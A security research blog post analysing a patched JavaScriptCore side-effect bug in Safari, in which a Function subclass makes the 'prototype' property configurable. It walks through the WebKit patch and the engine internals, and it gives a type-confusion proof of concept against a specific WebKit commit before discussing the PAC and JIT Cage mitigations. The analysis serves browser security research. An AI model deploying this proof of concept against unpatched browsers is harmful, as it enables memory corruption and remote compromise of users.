Clobber the world — Endless side effect issue in Safari

ENKI
11 min readJun 3, 2024

--

Clobber the world — Endless side effect issue in Safari

Introduction

In the past, major JavaScript engines such as Google V8 and Apple JavaScriptCore were plagued by numerous side-effect bugs in their JIT compilers. Google’s V8 Typer system and Apple’s AbstractInterpreter(AI) were particularly problematic. However, thanks to extensive efforts to fix these problems, finding such vulnerabilities has become much more challenging.

While looking for a WebKit security update, we came across an interesting bug case related to AI. It has also been reported as being exploited in the wild.

Although it’s quite an old bug and now that Apple is preparing iOS 18, We thought this was a case that browser security researchers should take a look at, we share a detailed analysis of this case.

Safari RCE bug

There is Rapid Security Update for iOS 16.5.1 which is known as CVE-2023–37450. You can see the information from here.

We’re not sure if this is exactly the patch above, but it’s also an exploitable RCE bug. You can see the patch commits from here.

FIX

At the moment where we analyze the issue before, we couldn’t find matching CVE issue.

Therefore as we said like above, we guessed this might be CVE-2023–37450, but it’s turned out it’s not (Thank you for letting us know @krzywix).

We still don’t know what was it, but it’s absolutely worth looking at.

Root cause analysis

The patch commit itself quite nicely explains the bug itself. It’s about the slow/fast path for property access mechanism which is quite common vulnerable pattern for JS engine.

Let us explain with an example.

let o = {}
o.p1 = 0x1337;
o.p1;

In the above example, o.p1 doesn't have any security problem. But we can add some custom handler for property access.

let o = {};
o.__defineGetter__("p1", () => {
console.log("Getter is called");
})

Unlike the first example, when we access to p1, we can invoke custom handler to get the property value. So why is this harmful for JS engine's security? Because it can violate JS engine's assumption for both Runtime/JIT context. The bible for this kind of vulnerability is CVE-2016-4622.

Anyway, now move our focus to the patch log.

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 32473bf2a38e..75916e3c1bfe 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1162,6 +1162,11 @@ void JSObject::enterDictionaryIndexingMode(VM& vm)

void JSObject::notifyPresenceOfIndexedAccessors(VM& vm)
{
+ if (UNLIKELY(isGlobalObject())) {
+ jsCast<JSGlobalObject*>(this)->globalThis()->notifyPresenceOfIndexedAccessors(vm);
+ return;
+ }
+
if (mayInterceptIndexedAccesses())
return;

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 1c33fffa9022..73a9e5e82a54 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -859,6 +859,18 @@ bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName property
return putInlineFast(globalObject, propertyName, value, slot);
}

+static bool canDefinePropertyOnReceiverFast(VM& vm, JSObject* receiver, PropertyName propertyName)
+{
+ switch (receiver->type()) {
+ case ArrayType:
+ return propertyName != vm.propertyNames->length;
+ case JSFunctionType:
+ return propertyName != vm.propertyNames->length && propertyName != vm.propertyNames->name && propertyName != vm.propertyNames->prototype;
+ default:
+ return false;
+ }
+}
+
static NEVER_INLINE bool definePropertyOnReceiverSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, JSObject* receiver, bool shouldThrow)
{
VM& vm = globalObject->vm();
@@ -903,8 +915,8 @@ bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyNa
if (receiver->type() == GlobalProxyType)
receiver = jsCast<JSGlobalProxy*>(receiver)->target();

- if (slot.isTaintedByOpaqueObject() || slot.context() == PutPropertySlot::ReflectSet) {
- if (receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty)
+ if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
+ if (!canDefinePropertyOnReceiverFast(vm, receiver, propertyName))
return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
}

Not that hard to understand. There are a few points to notice.

  1. They add indexed accessor check for global object.
  2. They prevent for defineProperty to configure Array and Function type’s length or prototype property.

So, based on patch log, attacker can break JS engine’s assumption that some properties like above things are unconfigurable. But through the bug, we can make them configurable.

Before diving into how this is possible, there is very simple poc for this.

class MyFunction extends Function {
constructor() {
super();
super.prototype = 1;
}
}

function test1() {
const f = new MyFunction();
f.__defineGetter__("prototype", () => {}); // should throw
}

function test2(i) {
const f = new MyFunction();
try { f.__defineGetter__("prototype", () => {}); } catch {}
f.prototype.x = i; // should not crash
}

According to MDN, super is defined like following.

The super keyword is used to access properties on an object literal or class's [[Prototype]], or invoke a superclass's constructor.
...

When executing super.prototype = 1, it's handled by slow_path_put_by_id_with_this and calls JSObject::putInlineSlow.

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
BEGIN();
auto bytecode = pc->as<OpPutByIdWithThis>();
const Identifier& ident = codeBlock->identifier(bytecode.m_property);
JSValue baseValue = GET_C(bytecode.m_base).jsValue();
JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
JSValue putValue = GET_C(bytecode.m_value).jsValue();
PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
baseValue.putInline(globalObject, ident, putValue, slot);
END();
}

// CommonSlowPaths.cpp
JSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this)
{
BEGIN();
auto bytecode = pc->as<OpPutByIdWithThis>();
const Identifier& ident = codeBlock->identifier(bytecode.m_property);
JSValue baseValue = GET_C(bytecode.m_base).jsValue();
JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();
JSValue putValue = GET_C(bytecode.m_value).jsValue();
PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());
baseValue.putInline(globalObject, ident, putValue, slot);
END();
}

// JSObject.cpp
bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
JSObject* obj = this;
for (;;) {
Structure* structure = obj->structure();
if (obj != this && structure->typeInfo().overridesPut())
RELEASE_AND_RETURN(scope, obj->methodTable()->put(obj, globalObject, propertyName, value, slot));

bool hasProperty = false;
unsigned attributes;
PutValueFunc customSetter = nullptr;
PropertyOffset offset = structure->get(vm, propertyName, attributes); <-- [1]
if (isValidOffset(offset)) { <-- [2]
hasProperty = true;
if (attributes & PropertyAttribute::CustomAccessorOrValue)
customSetter = jsCast<CustomGetterSetter*>(obj->getDirect(offset))->setter();
} else if (structure->hasNonReifiedStaticProperties()) { <-- [3]
if (auto entry = structure->findPropertyHashEntry(propertyName)) {
hasProperty = true;
attributes = entry->value->attributes();

// FIXME: Remove this after we stop defaulting to CustomValue in static hash tables.
if (!(attributes & (PropertyAttribute::CustomAccessor | PropertyAttribute::BuiltinOrFunctionOrAccessorOrLazyPropertyOrConstant)))
attributes |= PropertyAttribute::CustomValue;

if (attributes & PropertyAttribute::CustomAccessorOrValue)
customSetter = entry->value->propertyPutter();
}
}
...
JSValue prototype = obj->getPrototype(vm, globalObject); <-- [4]
RETURN_IF_EXCEPTION(scope, false);
if (prototype.isNull())
break;
obj = asObject(prototype);
}
...
if (UNLIKELY(isThisValueAltered(slot, this))) <-- [5]
return definePropertyOnReceiver(globalObject, propertyName, value, slot);
return putInlineFast(globalObject, propertyName, value, slot);
...
}

When put property into JSObject, it checks several things.

  1. At [1], it checks whether property exists in current JSObject scope. PropertyOffset is returned if exist. JSC's JSEngine stores property information in structure object. There are 2 important members in structure object - m_seenProperties, m_propertyTableUnsafe. If it returns valid PropertyOffset at [2], it checks current offset's attributes like CustomAccessor, ReadOnly and etc.
  2. If property does not exist in property table, it checks whether current property comes from static property table at [3]. You can see easy example in following link.
  1. At [4], if above cases fail, it traverses JSObject’s prototype chain, and starts property lookup from [1].

If it fails to find property, then it tries to define property as new one. At [5], based on result of isThisValueAltered, it calls definePropertyOnReceiver or putInlineFast.

Now we should remind that before entering JSObject::putInlineSlow, JSC Runtime creates some base JSValue in slow_path_put_by_id_with_this. These are very important in isThisValueAltered, so we should know each JSValue.

  • baseValue
  • thisVal
  • putValue

baseValue stands for Function.prototype or Function.__proto__. thisValue stands for this in constructor context. putValue is 1 in our example.

ALWAYS_INLINE bool isThisValueAltered(const PutPropertySlot& slot, JSObject* baseObject)
{
JSValue thisValue = slot.thisValue();
if (LIKELY(thisValue == baseObject))
return false;

if (!thisValue.isObject())
return true;
JSObject* thisObject = asObject(thisValue);
// Only GlobalProxyType can be seen as the same to the original target object.
if (thisObject->type() == GlobalProxyType && jsCast<JSGlobalProxy*>(thisObject)->target() == baseObject)
return false;
return true;
}

Therefore, as thisValue and baseObject are different, isThisValueAltered returns true, we fallthrough definePropertyOnReceiver. In JSObject::definePropertyOnReceiver, as similar to property lookup routine, it checks several things to take slow path.

// <https://tc39.es/ecma262/#sec-ordinaryset> (step 3)
bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
ASSERT(!parseIndex(propertyName));

VM& vm = globalObject->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* receiver = slot.thisValue().getObject();
// FIXME: For a failure due to primitive receiver, the error message is misleading.
if (!receiver)
return typeError(globalObject, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
scope.release();
if (receiver->type() == GlobalProxyType)
receiver = jsCast<JSGlobalProxy*>(receiver)->target();
if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {
if (mightBeSpecialProperty(vm, receiver->type(), propertyName.uid()))
return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
}
if (receiver->structure()->hasAnyKindOfGetterSetterProperties()) {
unsigned attributes;
if (receiver->getDirectOffset(vm, propertyName, attributes) != invalidOffset && (attributes & PropertyAttribute::CustomValue))
return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());
}
if (UNLIKELY(receiver->hasNonReifiedStaticProperties()))
return receiver->putInlineFastReplacingStaticPropertyIfNeeded(globalObject, propertyName, value, slot);
return receiver->putInlineFast(globalObject, propertyName, value, slot);
}
  1. Check that type of receiver is GlobalProxyType to get the correct receiver.
  2. Check whether the receiver has any kinds of GetterSetter.

None of them are matched, now we reach fast path to put property. Since we don’t have any static property table, JSObject::putInlineFast is called.

ALWAYS_INLINE bool JSObject::putInlineFast(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
VM& vm = getVM(globalObject);
auto scope = DECLARE_THROW_SCOPE(vm);

auto error = putDirectInternal<PutModePut>(vm, propertyName, value, 0, slot);
if (!error.isNull())
return typeError(globalObject, scope, slot.isStrictMode(), error);
return true;
}
template<JSObject::PutMode mode>
ALWAYS_INLINE ASCIILiteral JSObject::putDirectInternal(VM& vm, PropertyName propertyName, JSValue value, unsigned newAttributes, PutPropertySlot& slot)
{
...
StructureID structureID = this->structureID();
Structure* structure = structureID.decode();
if (structure->isDictionary()) {
...
}
...
unsigned currentAttributes;
PropertyOffset offset = structure->get(vm, propertyName, currentAttributes);
if (offset != invalidOffset) {
...
}
...
// We want the structure transition watchpoint to fire after this object has switched structure.
// This allows adaptive watchpoints to observe if the new structure is the one we want.
DeferredStructureTransitionWatchpointFire deferredWatchpointFire(vm, structure);
Structure* newStructure = Structure::addNewPropertyTransition(vm, structure, propertyName, newAttributes, offset, slot.context(), &deferredWatchpointFire);
...
size_t oldCapacity = structure->outOfLineCapacity();
size_t newCapacity = newStructure->outOfLineCapacity();
...
if (oldCapacity != newCapacity) {
Butterfly* newButterfly = allocateMoreOutOfLineStorage(vm, oldCapacity, newCapacity);
nukeStructureAndSetButterfly(vm, structureID, newButterfly);
}
...
putDirectOffset(vm, offset, value);
setStructure(vm, newStructure);
slot.setNewProperty(this, offset);
if (newAttributes & PropertyAttribute::ReadOnly)
newStructure->setContainsReadOnlyProperties();
if (UNLIKELY(mayBePrototype()))
vm.invalidateStructureChainIntegrity(VM::StructureChainIntegrityEvent::Add);
return { };

In JSObject::putDirectInternal, as it adds prototype property to OOL (Out of line) property named butterfly, JSC engine trigger structure transition for this JSObject and fire StructureTransitionWatchpoint. You can see the details for concept about WatchPoint in the offical WebKit blog!

So, normally prototype property is unconfigurable, but through this way, we make prototype property as OOL property which is configurable.

But the main question is still unclear.

Why is this exploitable?

To answer this question, we should find out what happens if something that was assumed to be non-configurable is now actually configurable.

And in test cases, test1 is very interesting.

When we define Getter for our custom Function object, it calls JSFunction::getOwnPropertySlot through the following backtrace.

* frame #0: 0x000000010afe6ab0 JavaScriptCore`JSC::JSFunction::getOwnPropertySlot(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd2e0, slot=0x000000016fdfd460) at JSFunction.cpp:345:9
frame #1: 0x000000010b0d5740 JavaScriptCore`JSC::JSObject::getOwnPropertyDescriptor(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd530, descriptor=0x000000016fdfd5c0) at JSObject.cpp:3768:19
frame #2: 0x000000010b0e94b4 JavaScriptCore`JSC::JSObject::defineOwnNonIndexProperty(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd660, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3906:29
frame #3: 0x000000010b0d33f8 JavaScriptCore`JSC::JSObject::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd6e0, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3926:20
frame #4: 0x000000010afe7188 JavaScriptCore`JSC::JSFunction::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd840, descriptor=0x000000016fdfd8f0, throwException=true) at JSFunction.cpp:459:5
frame #5: 0x000000010b1f1d34 JavaScriptCore`JSC::objectProtoFuncDefineGetter(globalObject=0x000000011a06a068, callFrame=0x000000016fdfda00) at ObjectPrototype.cpp:185:5

Basically, since prototype is an unconfigurable property, it shouldn't have a valid property offset, but due to the bug, it has.

bool JSFunction::getOwnPropertySlot(JSObject* object, JSGlobalObject* globalObject, PropertyName propertyName, PropertySlot& slot)
{
VM& vm = globalObject->vm();
auto scope = DECLARE_THROW_SCOPE(vm);

JSFunction* thisObject = jsCast<JSFunction*>(object);
if (propertyName == vm.propertyNames->prototype && thisObject->mayHaveNonReifiedPrototype()) {
unsigned attributes;
PropertyOffset offset = thisObject->getDirectOffset(vm, propertyName, attributes);
if (!isValidOffset(offset)) {
// For class constructors, prototype object is initialized from bytecode via defineOwnProperty().
ASSERT(!thisObject->jsExecutable()->isClassConstructorFunction());
thisObject->putDirect(vm, propertyName, constructPrototypeObject(globalObject, thisObject), prototypeAttributesForNonClass);
offset = thisObject->getDirectOffset(vm, vm.propertyNames->prototype, attributes);
ASSERT(isValidOffset(offset));
}
slot.setValue(thisObject, attributes, thisObject->getDirect(offset), offset);
return true;
}
thisObject->reifyLazyPropertyIfNeeded(vm, globalObject, propertyName);
RETURN_IF_EXCEPTION(scope, false);
RELEASE_AND_RETURN(scope, Base::getOwnPropertySlot(thisObject, globalObject, propertyName, slot));
}

It calls slot.setValue(...), and this function directly sets propertySlot. The statement f.__defineGetter__("prototype", () => {}); is GetterSetter, but it doesn't fire any watchpoints and is treated like normal JSValue.

To execute our Getter, we should reach PropertySlot::getValue.

ALWAYS_INLINE JSValue PropertySlot::getValue(JSGlobalObject* globalObject, uint64_t propertyName) const
{
VM& vm = getVM(globalObject);
if (m_propertyType == TypeValue)
return JSValue::decode(m_data.value);
if (m_propertyType == TypeGetter)
return functionGetter(globalObject);
return customGetter(getVM(globalObject), Identifier::from(vm, propertyName));
}

To make side effect do their job in optimized code in JSC, we should make sure that DFG (one of JSC’s JIT compiler)’s AI (Abstract Intepreter) thinks it’s safe to execute. The AI mostly works on CFA (Control Flow Analysis) phase in JIT compiler. When DFG’s AI thinks it’s not safe to execute (actually means not safe to optimize), it calls clobberWorld(). Since AI is a type of state machine, when clobberWorld() is called, AI's state is changed to ClobberedStructures. And this information will be used in Constant Folding phase and also indirectly used in several phases like CSE (Common Subexpression Elimination) phase.

Searching for a while, it seems that Spread opcode is quite interesting as it can access to all elements when it creates JSImmutableButterfly. Also Spread opcode is used in AI analysis phase, and it will be determined as safe node.

Following is type confusion poc for this bug. Tested on WebKit commit c7d1888949f94118612536ffc3b7f58cf102114b.

class Base extends Function {
constructor() {
super();
super.prototype = 1;
}
}
let victim = [1.1, 2.2, 3.3];
victim[0] = 1.1;
const b = new Base();
function opt(flag) {
victim[0] = 13.37; victim[1] = 13.37;
if (flag) [...arr];
victim[1] = 3.54484805889626e-310;
}
Object.defineProperty(arr, 0, {value:1.1, configurable:false, writable:true});
b.__defineGetter__("prototype", function() { victim[1] = {}; });
for (let i = 0; i < 0x100000; i++) { opt(false); }
arr[0] = b.prototype;
opt(true);
victim[1] + 1;

Conclusion

It was very interesting traditional side-effect bug and getting arbitrary read/write primitive from there is not that hard task.

However, hijacking the control flow of the WebContent process on macOS and iOS requires bypassing several mitigations.

[Image from https://www.synacktiv.com/sites/default/files/2022-10/attacking_safari_in_2022_slides.pdf]

As illustrated, Apple has introduced numerous hardware and software-based mitigations.

Among these mitigations, two stand out as particularly challenging:

  1. PAC (Pointer Authentication Code) bypass
  2. JIT Cage bypass

The PAC is a hardware-based mitigation introduced by ARMv8.3 in 2016 to protect sensitive pointers, such as virtual function tables. It signs pointers with secret keys and authenticates the signature before accessing it. Since the A12 processor on iPhone and M1 on macOS, PAC is the default for Apple platform binaries such as Safari. Therefore, a PAC bypass is usually required to hijack control flow.

There are interested recent usermode PAC bypass for WebContent process in public.

Another annoying mitigation is the JIT cage bypass, introduced with the A15 processor (iPhone 13 series). Previously, attackers could copy their shellcode into the JIT memory region. However, with JIT cage, instructions are restricted in JIT memory, preventing the execution of:

  • RET
  • BR/BLR/BL
  • SVC
  • MRS/MSR
  • PACDA/AUTDA

This aims to prevent attackers from calling arbitrary functions. The restricted information is configured in jitbox_cfg_set in kernel (you can find it easily from KDK).

With usermode PAC bypass, JIT cage bypass is actually not mandatory, but without JIT cage bypass, to run additional payload from WebContent requires implementing some infrastructure, such as the [NSExpression exploit](https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html).

Arbitrary code execution from WebContent has become more difficult, and public resources for user-mode PAC and JIT cage bypass are still rare.

We have some idea for this, and we’d like to refine it a bit more, and then cover it in a future post if we available.

--

--